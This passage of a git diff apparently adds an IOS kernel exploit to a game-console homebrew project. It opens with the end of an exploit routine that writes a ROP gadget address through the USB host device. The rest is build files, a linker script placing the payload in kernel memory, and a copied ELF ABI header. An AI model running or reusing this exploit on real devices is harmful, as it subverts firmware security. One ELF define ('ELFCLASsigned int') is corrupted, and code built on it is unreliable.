SOURCE); + + uhs_write32(dev_uhs_0_handle, CHAIN_START, 0x1012392b); // pop {R4-R6,PC} + + IOS_Close(dev_uhs_0_handle); + return 0; +} diff --git a/source/ios_exploit.h b/source/ios_exploit.h new file mode 100644 index 0000000..c7dceec --- /dev/null +++ b/source/ios_exploit.h @@ -0,0 +1,14 @@ +#ifndef _IOS_EXPLOIT_H_ +#define _IOS_EXPLOIT_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +int ExecuteIOSExploit(); + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/source/ios_kernel/.gitignore b/source/ios_kernel/.gitignore new file mode 100644 index 0000000..19ee97e --- /dev/null +++ b/source/ios_kernel/.gitignore @@ -0,0 +1,4 @@ +build/ +*.bin +*.bin.h +*.elf diff --git a/source/ios_kernel/Makefile b/source/ios_kernel/Makefile new file mode 100644 index 0000000..083d180 --- /dev/null +++ b/source/ios_kernel/Makefile @@ -0,0 +1,80 @@ +ifeq ($(strip $(DEVKITARM)),) +$(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") +endif + +ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),) +export PATH:=$(DEVKITARM)/bin:$(PATH) +endif + +CC = arm-none-eabi-gcc +LINK = arm-none-eabi-gcc +AS = arm-none-eabi-as +OBJCOPY = arm-none-eabi-objcopy +OBJDUMP = arm-none-eabi-objdump +CFLAGS += -Wall -mbig-endian -std=gnu11 -mcpu=arm926ej-s -msoft-float -mfloat-abi=soft -Os +LDFLAGS += -nostartfiles -nodefaultlibs -mbig-endian -Wl,-T,link.ld +LIBDIRS += -L$(CURDIR)/../libs +LIBS += -lgcc + +CFILES = $(wildcard source/*.c) +BINFILES = $(wildcard data/*.bin) +OFILES = $(BINFILES:data/%.bin=build/%.bin.o) +OFILES += $(CFILES:source/%.c=build/%.o) +DFILES = $(CFILES:source/%.c=build/%.d) +SFILES = $(wildcard source/*.s) +OFILES += $(SFILES:source/%.s=build/%.o) +PROJECTNAME = ${shell basename "$(CURDIR)"} +CWD = "$(CURDIR)"" + +#--------------------------------------------------------------------------------- +# canned command sequence for binary data, taken from devkitARM +#--------------------------------------------------------------------------------- +define bin2o + bin2s $< | $(AS) -EB -o $(@) +endef + +.PHONY:=all dirs + +all: dirs $(PROJECTNAME).bin $(PROJECTNAME)_syms.h $(PROJECTNAME).bin $(PROJECTNAME).bin.h + +dirs: + @mkdir -p build + +$(PROJECTNAME).elf: $(OFILES) + @echo "LD $@" + @$(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(sort $(filter-out build/crt0.o, $(OFILES))) $(LIBDIRS) $(LIBS) + +$(PROJECTNAME).bin: $(PROJECTNAME).elf + @echo "OBJCOPY $@\n" + @$(OBJCOPY) -j .text -j .rodata -j .data -O binary $(PROJECTNAME).elf $@ + +$(PROJECTNAME).bin.h: $(PROJECTNAME).bin + @xxd -i $< | sed "s/unsigned/static const unsigned/g;s/$(PROJECTNAME)$*/$(PROJECTNAME)/g" > $@ + +$(PROJECTNAME)_syms.h: + @echo "#ifndef $(PROJECTNAME)_SYMS_H" > $@ + @echo "#define $(PROJECTNAME)_SYMS_H" >> $@ + @$(OBJDUMP) -EB -t -marm $(PROJECTNAME).elf | grep 'g F .text' | grep -v '.hidden' | awk '{print "#define " $$6 " 0x" $$1}' >> $@ + @$(OBJDUMP) -EB -t -marm $(PROJECTNAME).elf | grep -e 'g .text' -e '_bss_' | awk '{print "#define " $$5 " 0x" $$1}' >> $@ + @echo "#endif" >> $@ + +clean: + @rm -f build/*.o build/*.d + @rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin $(PROJECTNAME)_syms.h $(PROJECTNAME).bin $(PROJECTNAME).bin.h + @echo "all cleaned up !" + +-include $(DFILES) + +build/%.o: source/%.c + @echo "CC $(notdir $<)" + @$(CC) $(CFLAGS) -c $< -o $@ + @$(CC) -MM $< > build/$*.d + +build/%.o: source/%.s + @echo "CC $(notdir $<)" + @$(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@ + @$(CC) -MM $< > build/$*.d + +build/%.bin.o: data/%.bin + @echo "BIN $(notdir $<)" + @$(bin2o) diff --git a/source/ios_kernel/link.ld b/source/ios_kernel/link.ld new file mode 100644 index 0000000..7371f7d --- /dev/null +++ b/source/ios_kernel/link.ld @@ -0,0 +1,28 @@ +OUTPUT_ARCH(arm) + +SECTIONS +{ + . = (0x08135000); + + __KERNEL_CODE_START = .; + .text : { + build/crt0.o(.init) + *(.text*); + } + .rodata : { + *(.rodata*) + } + .data : { + *(.data*) + } + .bss : { + *(.bss*) + *(COMMON*) + } + __KERNEL_CODE_END = .; + + /DISCARD/ : { + *(*); + } +} + diff --git a/source/ios_kernel/source/crt0.s b/source/ios_kernel/source/crt0.s new file mode 100644 index 0000000..83d7bb6 --- /dev/null +++ b/source/ios_kernel/source/crt0.s @@ -0,0 +1,9 @@ +.section ".init" +.arm +.align 4 + +.extern _main +.type _main, %function + +_start: + b _main diff --git a/source/ios_kernel/source/elf_abi.h b/source/ios_kernel/source/elf_abi.h new file mode 100644 index 0000000..4d9c796 --- /dev/null +++ b/source/ios_kernel/source/elf_abi.h @@ -0,0 +1,591 @@ +/* + * Copyright (c) 1995, 1996, 2001, 2002 + * Erik Theisen. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +/* + * This is the ELF ABI header file + * formerly known as "elf_abi.h". + */ + +#ifndef _ELF_ABI_H +#define _ELF_ABI_H + +/* + * This version doesn't work for 64-bit ABIs - Erik. + */ + +/* + * These typedefs need to be handled better. + */ +typedef unsigned int Elf32_Addr; /* Unsigned program address */ +typedef unsigned int Elf32_Off; /* Unsigned file offset */ +typedef signed int Elf32_Sword; /* Signed large integer */ +typedef unsigned int Elf32_Word; /* Unsigned large integer */ +typedef unsigned short Elf32_Half; /* Unsigned medium integer */ + +/* e_ident[] identification indexes */ +#define EI_MAG0 0 /* file ID */ +#define EI_MAG1 1 /* file ID */ +#define EI_MAG2 2 /* file ID */ +#define EI_MAG3 3 /* file ID */ +#define EI_CLASS 4 /* file class */ +#define EI_DATA 5 /* data encoding */ +#define EI_VERSION 6 /* ELF header version */ +#define EI_OSABI 7 /* OS/ABI specific ELF extensions */ +#define EI_ABIVERSION 8 /* ABI target version */ +#define EI_PAD 9 /* start of pad bytes */ +#define EI_NIDENT 16 /* Size of e_ident[] */ + +/* e_ident[] magic number */ +#define ELFMAG0 0x7f /* e_ident[EI_MAG0] */ +#define ELFMAG1 'E' /* e_ident[EI_MAG1] */ +#define ELFMAG2 'L' /* e_ident[EI_MAG2] */ +#define ELFMAG3 'F' /* e_ident[EI_MAG3] */ +#define ELFMAG "\177ELF" /* magic */ +#define SELFMAG 4 /* size of magic */ + +/* e_ident[] file class */ +#define ELFCLASSNONE 0 /* invalid */ +#define ELFCLASsigned int 1 /* 32-bit objs */ +#define ELFCLASS64 2 /* 64-bit objs */ +#define ELFCLASSNUM 3 /* number of classes */ + +/* e_ident[] data encoding */ +#define ELFDATANONE 0 /* invalid */ +#define ELFDATA2LSB 1 /* Little-Endian */ +#define ELFDATA2MSB 2 /* Big-Endian */ +#define ELFDATANUM 3 /* number of data encode defines */ + +/* e_ident[] OS/ABI specific ELF extensions */ +#define ELFOSABI_NONE 0 /* No extension specified */ +#define ELFOSABI_HPUX 1 /* Hewlett-Packard HP-UX */ +#define ELFOSABI_NETBSD 2 /* NetBSD */ +#define ELFOSABI_LINUX 3 /* Linux */ +#define ELFOSABI_SOLARIS 6 /* Sun Solaris */ +#define ELFOSABI_AIX 7 /* AIX */ +#define ELFOSABI_IRIX 8 /* IRIX */ +#define ELFOSABI_FREEBSD 9 /* FreeBSD */ +#define ELFOSABI_TRU64 10 /* Compaq TRU64 UNIX */ +#define ELFOSABI_MODESTO 11 /* Novell Modesto */ +#define ELFOSABI_OPENBSD 12 /* OpenBSD */ +/* 64-255 Architecture-specific value range */ + +/* e_ident[] ABI Version */ +#define ELFABIVERSION 0 + +/* e_ident */ +#define IS_ELF(ehdr) ((ehdr).e_ident[EI_MAG0] == ELFMAG0 && \ + (ehdr).e_ident[EI_MAG1] == ELFMAG1 && \ + (ehdr).e_ident[EI_MAG2] == ELFMAG2 && \ + (ehdr).e_ident[EI_MAG3] == ELFMAG3) + +/* ELF Header */ +typedef struct elfhdr{ + unsigned char e_ident[EI_NIDENT]; /* ELF Identification */ + Elf32_Half e_type; /* object file type */ + Elf32_Half e_machine; /* machine */ + Elf32_Word e_version; /* object file version */ + Elf32_Addr e_entry; /* virtual entry point */ + Elf32_Off e_phoff; /* program header table offset */ + Elf32_Off e_shoff; /* section header table offset */ + Elf32_Word e_flags; /* processor-specific flags */ + Elf32_Half e_ehsize; /* ELF header size */ + Elf32_Half e_phentsize; /* program header entry size */ + Elf32_Half e_phnum; /* number of program header entries */ + Elf32_Half e_shentsize; /* section header entry size */ + Elf32_Half e_shnum; /* number of section header entries */ + Elf32_Half e_shstrndx; /* section header table's "section + header string table" entry offset */ +} Elf32_Ehdr; + +/* e_type */ +#define ET_NONE 0 /* No file type */ +#define ET_REL 1 /* relocatable file */ +#define ET_EXEC 2 /* executable file */ +#define ET_DYN 3 /* shared object file */ +#define ET_CORE 4 /* core file */ +#define ET_NUM 5 /* number of types */ +#define ET_LOOS 0xfe00 /* reserved range for operating */ +#define ET_HIOS 0xfeff /* system specific e_type */ +#define ET_LOPROC 0xff00 /* reserved range for processor */ +#define ET_HIPROC 0xffff /* specific e_type */ + +/* e_machine */ +#define EM_NONE 0 /* No Machine */ +#define EM_M32 1 /* AT&T WE 32100 */ +#define EM_SPARC 2 /* SPARC */ +#define EM_386 3 /* Intel 80386 */ +#define EM_68K 4 /* Motorola 68000 */ +#define EM_88K 5 /* Motorola 88000 */ +#if 0 +#define EM_486 6 /* RESERVED - was Intel 80486 */ +#endif +#define EM_860 7 /* Intel 80860 */ +#define EM_MIPS 8 /* MIPS R3000 Big-Endian only */ +#define EM_S370 9 /* IBM System/370 Processor */ +#define EM_MIPS_RS4_BE 10 /* MIPS R4000 Big-Endian */ +#if 0 +#define EM_SPARC64 11 /* RESERVED - was SPARC v9 + 64-bit unoffical */ +#endif +/* RESERVED 11-14 for future use */ +#define EM_PARISC 15 /* HPPA */ +/* RESERVED 16 for future use */ +#define EM_VPP500 17 /* Fujitsu VPP500 */ +#define EM_SPARC32PLUS 18 /* Enhanced instruction set SPARC */ +#define EM_960 19 /* Intel 80960 */ +#define EM_PPC 20 /* PowerPC */ +#define EM_PPC64 21 /* 64-bit PowerPC */ +#define EM_S390 22 /* IBM System/390 Processor */ +/* RESERVED 23-35 for future use */ +#define EM_V800 36 /* NEC V800 */ +#define EM_FR20 37 /* Fujitsu FR20 */ +#define EM_RH32 38 /* TRW RH-32 */ +#define EM_RCE 39 /* Motorola RCE */ +#define EM_ARM 40 /* Advanced Risc Machines ARM */ +#define EM_ALPHA 41 /* Digital Alpha */ +#define EM_SH 42 /* Hitachi SH */ +#define EM_SPARCV9 43 /* SPARC Version 9 */ +#define EM_TRICORE 44 /* Siemens TriCore embedded processor */ +#define EM_ARC 45 /* Argonaut RISC Core */ +#define EM_H8_300 46 /* Hitachi H8/300 */ +#define EM_H8_300H 47 /* Hitachi H8/300H */ +#define EM_H8S 48 /* Hitachi H8S */ +#define EM_H8_500 49 /* Hitachi H8/500 */ +#define EM_IA_64 50 /* Intel Merced */ +#define EM_MIPS_X 51 /* Stanford MIPS-X */ +#define EM_COLDFIRE 52 /* Motorola Coldfire */ +#define EM_68HC12 53 /* Motorola M68HC12 */ +#define EM_MMA 54 /* Fujitsu MMA Multimedia Accelerator*/ +#define EM_PCP 55 /* Siemens PCP */ +#define EM_NCPU 56 /* Sony nCPU embeeded RISC */ +#define EM_NDR1 57 /* Denso NDR1 microprocessor */ +#define EM_STARCORE 58 /* Motorola Start*Core processor */ +#define EM_ME16 59 /* Toyota ME16 processor */ +#define EM_ST100 60 /* STMicroelectronic ST100 processor */ +#define EM_TINYJ 61 /* Advanced Logic Corp. Tinyj emb.fam*/ +#define EM_X86_64 62 /* AMD x86-64 */ +#define EM_PDSP 63 /* Sony DSP Processor */ +/* RESERVED 64,65 for future use */ +#define EM_FX66 66 /* Siemens FX66 microcontroller */ +#define EM_ST9PLUS 67 /* STMicroelectronics ST9+ 8/16 mc */ +#define EM_ST7 68 /* STmicroelectronics ST7 8 bit mc */ +#define EM_68HC16 69 /* Motorola MC68HC16 microcontroller */ +#define EM_68HC11 70 /* Motorola MC68HC11 microcontroller */ +#define EM_68HC08 71 /* Motorola MC68HC08 microcontroller */ +#define EM_68HC05 72 /* Motorola MC68HC05 microcontroller */ +#define EM_SVX 73 /* Silicon Graphics SVx */ +#define EM_ST19 74 /* STMicroelectronics ST19 8 bit mc */ +#define EM_VAX 75 /* Digital VAX */ +#define EM_CHRIS 76 /* Axis Communications embedded proc. */ +#define EM_JAVELIN 77 /* Infineon Technologies emb. proc. */ +#define EM_FIREPATH 78 /* Element 14 64-bit DSP Processor */ +#define EM_ZSP 79 /* LSI Logic 16-bit DSP Processor */ +#define EM_MMIX 80 /* Donald Knuth's edu 64-bit proc. */ +#define EM_HUANY 81 /* Harvard University mach-indep objs */ +#define EM_PRISM 82 /* SiTera Prism */ +#define EM_AVR 83 /* Atmel AVR 8-bit microcontroller */ +#define EM_FR30 84 /* Fujitsu FR30 */ +#define EM_D10V 85 /* Mitsubishi DV10V */ +#define EM_D30V 86 /* Mitsubishi DV30V */ +#define EM_V850 87 /* NEC v850 */ +#define EM_M32R 88 /* Mitsubishi M32R */ +#define EM_MN10300 89 /* Matsushita MN10200 */ +#define EM_MN10200 90 /* Matsushita MN10200 */ +#define EM_PJ 91 /* picoJava */ +#define EM_NUM 92 /* number of machine types */ + +/* Version */ +#define EV_NONE 0 /* Invalid */ +#define EV_CURRENT 1 /* Current */ +#define EV_NUM 2 /* number of versions */ + +/* Section Header */ +typedef struct { + Elf32_Word sh_name; /* name - index into section header + string table section */ + Elf32_Word sh_type; /* type */ + Elf32_Word sh_flags; /* flags */ + Elf32_Addr sh_addr; /* address */ + Elf32_Off sh_offset; /* file offset */ + Elf32_Word sh_size; /* section size */ + Elf32_Word sh_link; /* section header table index link */ + Elf32_Word sh_info; /* extra information */ + Elf32_Word sh_addralign; /* address alignment */ + Elf32_Word sh_entsize; /* section entry size */ +} Elf32_Shdr; + +/* Special Section Indexes */ +#define SHN_UNDEF 0 /* undefined */ +#define SHN_LORESERVE 0xff00 /* lower bounds of reserved indexes */ +#define SHN_LOPROC 0xff00 /* reserved range for processor */ +#define SHN_HIPROC 0xff1f /* specific section indexes */ +#define SHN_LOOS 0xff20 /* reserved range for operating */ +#define SHN_HIOS 0xff3f /* specific semantics */ +#define SHN_ABS 0xfff1 /* absolute value */ +#define SHN_COMMON 0xfff2 /* common symbol */ +#define SHN_XINDEX 0xffff /* Index is an extra table */ +#define SHN_HIRESERVE 0xffff /* upper bounds of reserved indexes */ + +/* sh_type */ +#define SHT_NULL 0 /* inactive */ +#define SHT_PROGBITS 1 /* program defined information */ +#define SHT_SYMTAB 2 /* symbol table section */ +#define SHT_STRTAB 3 /* string table section */ +#define SHT_RELA 4 /* relocation section with addends*/ +#define SHT_HASH 5 /* symbol hash table section */ +#define SHT_DYNAMIC 6 /* dynamic section */ +#define SHT_NOTE 7 /* note section */ +#define SHT_NOBITS 8 /* no space section */ +#define SHT_REL 9 /* relation section without addends */ +#define SHT_SHLIB 10 /* reserved - purpose unknown */ +#define SHT_DYNSYM 11 /* dynamic symbol table section */ +#define SHT_INIT_ARRAY 14 /* Array of constructors */ +#define SHT_FINI_ARRAY 15 /* Array of destructors */ +#define SHT_PREINIT_ARRAY 16 /* Array of pre-constructors */ +#define SHT_GROUP 17 /* Section group */ +#define SHT_SYMTAB_SHNDX 18 /* Extended section indeces */ +#define SHT_NUM 19 /* number of section types */ +#define SHT_LOOS 0x60000000 /* Start OS-specific */ +#define SHT_HIOS 0x6fffffff /* End OS-specific */ +#define SHT_LOPROC 0x70000000 /* reserved range for processor */ +#define SHT_HIPROC 0x7fffffff /* specific section header types */ +#define SHT_LOUSER 0x80000000 /* reserved range for application */ +#define SHT_HIUSER 0xffffffff /* specific indexes */ + +/* Section names */ +#define ELF_BSS ".bss" /* uninitialized data */ +#define ELF_COMMENT ".comment" /* version control information */ +#define ELF_DATA ".data" /* initialized data */ +#define ELF_DATA1 ".data1" /* initialized data */ +#define ELF_DEBUG ".debug" /* debug */ +#define ELF_DYNAMIC ".dynamic" /* dynamic linking information */ +#define ELF_DYNSTR ".dynstr" /* dynamic string table */ +#define ELF_DYNSYM ".dynsym" /* dynamic symbol table */ +#define ELF_FINI ".fini" /* termination code */ +#define ELF_FINI_ARRAY ".fini_array" /* Array of destructors */ +#define ELF_GOT ".got" /* global offset table */ +#define ELF_HASH ".hash" /* symbol hash table */ +#define ELF_INIT ".init" /* initialization code */ +#define ELF_INIT_ARRAY ".init_array" /* Array of constuctors */ +#define ELF_INTERP ".interp" /* Pathname of program interpreter */ +#define ELF_LINE ".line" /* Symbolic line numnber information */ +#define ELF_NOTE ".note" /* Contains note section */ +#define ELF_PLT ".plt" /* Procedure linkage table */ +#define ELF_PREINIT_ARRAY ".preinit_array" /* Array of pre-constructors */ +#define ELF_REL_DATA ".rel.data" /* relocation data */ +#define ELF_REL_FINI ".rel.fini" /* relocation termination code */ +#define ELF_REL_INIT ".rel.init" /* relocation initialization code */ +#define ELF_REL_DYN ".rel.dyn" /* relocaltion dynamic link info */ +#define ELF_REL_RODATA ".rel.rodata" /* relocation read-only data */ +#define ELF_REL_TEXT ".rel.text" /* relocation code */ +#define ELF_RODATA ".rodata" /* read-only data */ +#define ELF_RODATA1 ".rodata1" /* read-only data */ +#define ELF_SHSTRTAB ".shstrtab" /* section header string table */ +#define ELF_STRTAB ".strtab" /* string table */ +#define ELF_SYMTAB ".symtab" /* symbol table */ +#define ELF_SYMTAB_SHNDX ".symtab_shndx"/* symbol table section index */ +#define ELF_TBSS ".tbss" /* thread local uninit data */ +#define ELF_TDATA ".tdata" /* thread local init data */ +#define ELF_TDATA1 ".tdata1" /* thread local init data */ +#define ELF_TEXT ".text" /* code */ + +/* Section Attribute Flags - sh_flags */ +#define SHF_WRITE 0x1 /* Writable */ +#define SHF_ALLOC 0x2 /* occupies memory */ +#define SHF_EXECINSTR 0x4 /* executable */ +#define SHF_MERGE 0x10 /* Might be merged */ +#define SHF_STRINGS 0x20 /* Contains NULL terminated strings */ +#define SHF_INFO_LINK 0x40 /* sh_info contains SHT index */ +#define SHF_LINK_ORDER 0x80 /* Preserve order after combining*/ +#define SHF_OS_NONCONFORMING 0x100 /* Non-standard OS specific handling */ +#define SHF_GROUP 0x200 /* Member of section group */ +#define SHF_TLS 0x400 /* Thread local storage */ +#define SHF_MASKOS 0x0ff00000 /* OS specific */ +#define SHF_MASKPROC 0xf0000000 /* reserved bits for processor */ + /* specific section attributes */ + +/* Section Group Flags */ +#define GRP_COMDAT 0x1 /* COMDAT group */ +#define GRP_MASKOS 0x0ff00000 /* Mask OS specific flags */ +#define GRP_MASKPROC 0xf0000000 /* Mask processor specific flags */ + +/* Symbol Table Entry */ +typedef struct elf32_sym { + Elf32_Word st_name; /* name - index into string table */ + Elf32_Addr st_value; /* symbol value */ + Elf32_Word st_size; /* symbol size */ + unsigned char st_info; /* type and binding */ + unsigned char st_other; /* 0 - no defined meaning */ + Elf32_Half st_shndx; /* section header index */ +} Elf32_Sym; + +/* Symbol table index */ +#define STN_UNDEF 0 /* undefined */ + +/* Extract symbol info - st_info */ +#define ELF32_ST_BIND(x) ((x) >> 4) +#define ELF32_ST_TYPE(x) (((unsigned int) x) & 0xf) +#define ELF32_ST_INFO(b,t) (((b) << 4) + ((t) & 0xf)) +#define ELF32_ST_VISIBILITY(x) ((x) & 0x3) + +/* Symbol Binding - ELF32_ST_BIND - st_info */ +#define STB_LOCAL 0 /* Local symbol */ +#define STB_GLOBAL 1 /* Global symbol */ +#define STB_WEAK 2 /* like global - lower precedence */ +#define STB_NUM 3 /* number of symbol bindings */ +#define STB_LOOS 10 /* reserved range for operating */ +#define STB_HIOS 12 /* system specific symbol bindings */ +#define STB_LOPROC 13 /* reserved range for processor */ +#define STB_HIPROC 15 /* specific symbol bindings */ + +/* Symbol type - ELF32_ST_TYPE - st_info */ +#define STT_NOTYPE 0 /* not specified */ +#define STT_OBJECT 1 /* data object */ +#define STT_FUNC 2 /* function */ +#define STT_SECTION 3 /* section */ +#define STT_FILE 4 /* file */ +#define STT_NUM 5 /* number of symbol types */ +#define STT_TLS 6 /* Thread local storage symbol */ +#define STT_LOOS 10 /* reserved range for operating */ +#define STT_HIOS 12 /* system specific symbol types */ +#define STT_LOPROC 13 /* reserved range for processor */ +#define STT_HIPROC 15 /* specific symbol types */ + +/* Symbol visibility - ELF32_ST_VISIBILITY - st_other */ +#define STV_DEFAULT 0 /* Normal visibility rules */ +#define STV_INTERNAL 1 /* Processor specific hidden class */ +#define STV_HIDDEN 2 /* Symbol unavailable in other mods */ +#define STV_PROTECTED 3 /* Not preemptible, not exported */ + + +/* Relocation entry with implicit addend */ +typedef struct +{ + Elf32_Addr r_offset; /* offset of relocation */ + Elf32_Word r_info; /* symbol table index and type */ +} Elf32_Rel; + +/* Relocation entry with explicit addend */ +typedef struct +{ + Elf32_Addr r_offset; /* offset of relocation */ + Elf32_Word r_info; /* symbol table index and type */ + Elf32_Sword r_addend; +} Elf32_Rela; + +/* Extract relocation info - r_info */ +#define ELF32_R_SYM(i) ((i) >> 8) +#define ELF32_R_TYPE(i) ((unsigned char) (i)) +#define ELF32_R_INFO(s,t) (((s) << 8) + (unsigned char)(t)) + +/* Program Header */ +typedef struct { + Elf32_Word p_type; /* segment type */ + Elf32_Off p_offset; /* segment offset */ + Elf32_Addr p_vaddr; /* virtual address of segment */ + Elf32_Addr p_paddr; /* physical address - ignored? */ + Elf32_Word p_filesz; /* number of bytes in file for seg. */ + Elf32_Word p_memsz; /* number of bytes in mem. for seg. */ + Elf32_Word p_flags; /* flags */ + Elf32_Word p_align; /* memory alignment */ +} Elf32_Phdr; + +/* Segment types - p_type */ +#define PT_NULL 0 /* unused */ +#define PT_LOAD 1 /* loadable segment */ +#define PT_DYNAMIC 2 /* dynamic linking section */ +#define PT_INTERP 3 /* the RTLD */ +#define PT_NOTE 4 /* auxiliary information */ +#define PT_SHLIB 5 /* reserved - purpose undefined */ +#define PT_PHDR 6 /* program header */ +#define PT_TLS 7 /* Thread local storage template */ +#define PT_NUM 8 /* Number of segment types */ +#define PT_LOOS 0x60000000 /* reserved range for operating */ +#define PT_HIOS 0x6fffffff /* system specific segment types */ +#define PT_LOPROC 0x70000000 /* reserved range for processor */ +#define PT_HIPROC 0x7fffffff /* specific segment types */ + +/* Segment flags - p_flags */ +#define PF_X 0x1 /* Executable */ +#define PF_W 0x2 /* Writable */ +#define PF_R 0x4 /* Readable */ +#define PF_MASKOS 0x0ff00000 /* OS specific segment flags */ +#define PF_MASKPROC 0xf0000000 /* reserved bits for processor */ + /* specific segment flags */ +/* Dynamic structure */ +typedef struct +{ + Elf32_Sword d_tag; /* controls meaning of d_val */ + union + { + Elf32_Word d_val; /* Multiple meanings - see d_tag */ + Elf32_Addr d_ptr; /* program virtual address */ + } d_un; +} Elf32_Dyn; + +extern Elf32_Dyn _DYNAMIC[]; + +/* Dynamic Array Tags - d_tag */ +#define DT_NULL 0 /* marks end of _DYNAMIC array */ +#define DT_NEEDED 1 /* string table offset of needed lib */ +#define DT_PLTRELSZ 2 /* size of relocation entries in PLT */ +#define DT_PLTGOT 3 /* address PLT/GOT */ +#define DT_HASH 4 /* address of symbol hash table */ +#define DT_STRTAB 5 /* address of string table */ +#define DT_SYMTAB 6 /* address of symbol table */ +#define DT_RELA 7 /* address of relocation table */ +#define DT_RELASZ 8 /* size of relocation table */ +#define DT_RELAENT 9 /* size of relocation entry */ +#define DT_STRSZ 10 /* size of string table */ +#define DT_SYMENT 11 /* size of symbol table entry */ +#define DT_INIT 12 /* address of initialization func. */ +#define DT_FINI 13 /* address of termination function */ +#define DT_SONAME 14 /* string table offset of shared obj */ +#define DT_RPATH 15 /* string table offset of library + search path */ +#define DT_SYMBOLIC 16 /* start sym search in shared obj. */ +#define DT_REL 17 /* address of rel. tbl. w addends */ +#define DT_RELSZ 18 /* size of DT_REL relocation table */ +#define DT_RELENT 19 /* size of DT_REL relocation entry */ +#define DT_PLTREL 20 /* PLT referenced relocation entry */ +#define DT_DEBUG 21 /* bugger */ +#define DT_TEXTREL 22 /* Allow rel. mod. to unwritable seg */ +#define DT_JMPREL 23 /* add. of PLT's relocation entries */ +#define DT_BIND_NOW 24 /* Process relocations of object */ +#define DT_INIT_ARRAY 25 /* Array with addresses of init fct */ +#define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */ +#define DT_INIT_ARRAYSZ 27 /* Size in bytes of DT_INIT_ARRAY */ +#define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */ +#define DT_RUNPATH 29 /* Library search path */ +#define DT_FLAGS 30 /* Flags for the object being loaded */ +#define DT_ENCODING 32 /* Start of encoded range */ +#define DT_PREINIT_ARRAY 32 /* Array with addresses of preinit fct*/ +#define DT_PREINIT_ARRAYSZ 33 /* size in bytes of DT_PREINIT_ARRAY */ +#define DT_NUM 34 /* Number used. */ +#define DT_LOOS 0x60000000 /* reserved range for OS */ +#define DT_HIOS 0x6fffffff /* specific dynamic array tags */ +#define DT_LOPROC 0x70000000 /* reserved range for processor */ +#define DT_HIPROC 0x7fffffff /* specific dynamic array tags */ + +/* Dynamic Tag Flags - d_un.d_val */ +#define DF_ORIGIN 0x01 /* Object may use DF_ORIGIN */ +#define DF_SYMBOLIC 0x02 /* Symbol resolutions starts here */ +#define DF_TEXTREL 0x04 /* Object contains text relocations */ +#define DF_BIND_NOW 0x08 /* No lazy binding for this object */ +#define DF_STATIC_TLS 0x10 /* Static thread local storage */ + +/* Standard ELF hashing function */ +unsigned long elf_hash(const unsigned char *name); + +#define ELF_TARG_VER 1 /* The ver for which this code is intended */ + +/* + * XXX - PowerPC defines really don't belong in here, + * but we'll put them in for simplicity. + */ + +/* Values for Elf32/64_Ehdr.e_flags. */ +#define EF_PPC_EMB 0x80000000 /* PowerPC embedded flag */ + +/* Cygnus local bits below */ +#define EF_PPC_RELOCATABLE 0x00010000 /* PowerPC -mrelocatable flag*/ +#define EF_PPC_RELOCATABLE_LIB 0x00008000 /* PowerPC -mrelocatable-lib + flag */ + +/* PowerPC relocations defined by the ABIs */ +#define R_PPC_NONE 0 +#define R_PPC_ADDR32 1 /* 32bit absolute address */ +#define R_PPC_ADDR24 2 /* 26bit address, 2 bits ignored. */ +#define R_PPC_ADDR16 3 /* 16bit absolute address */ +#define R_PPC_ADDR16_LO 4 /* lower 16bit of absolute address */ +#define R_PPC_ADDR16_HI 5 /* high 16bit of absolute address */ +#define R_PPC_ADDR16_HA 6 /* adjusted high 16bit */ +#define R_PPC_ADDR14 7 /* 16bit address, 2 bits ignored */ +#define R_PPC_ADDR14_BRTAKEN 8 +#define R_PPC_ADDR14_BRNTAKEN 9 +#define R_PPC_REL24 10 /* PC relative 26 bit */ +#define R_PPC_REL14 11 /* PC relative 16 bit */ +#define R_PPC_REL14_BRTAKEN 12 +#define R_PPC_REL14_BRNTAKEN 13 +#define R_PPC_GOT16 14 +#define R_PPC_GOT16_LO 15 +#define R_PPC_GOT16_HI 16 +#define R_PPC_GOT16_HA 17 +#define R_PPC_PLTREL24 18 +#define R_PPC_COPY 19 +#define R_PPC_GLOB_DAT 20 +#define R_PPC_JMP_SLOT 21 +#define R_PPC_RELATIVE 22 +#define R_PPC_LOCAL24PC 23 +#define R_PPC_UADDR32 24 +#define R_PPC_UADDR16 25 +#define R_PPC_REL32 26 +#define R_PPC_PLT32 27 +#define R_PPC_PLTREL32 28 +#define R_PPC_PLT16_LO 29 +#define R_PPC_PLT16_HI 30 +#define R_PPC_PLT16_HA 31 +#define R_PPC_SDAREL16 32 +#define R_PPC_SECTOFF 33 +#define R_PPC_SECTOFF_LO 34 +#define R_PPC_SECTOFF_HI 35 +#define R_PPC_SECTOFF_HA 36 +/* Keep this the last entry. */ +#define R_PPC_NUM 37 + +/* The remaining relocs are from the Embedded ELF ABI, and are not + in the SVR4 ELF ABI. */ +#define R_PPC_EMB_NADDR32 101 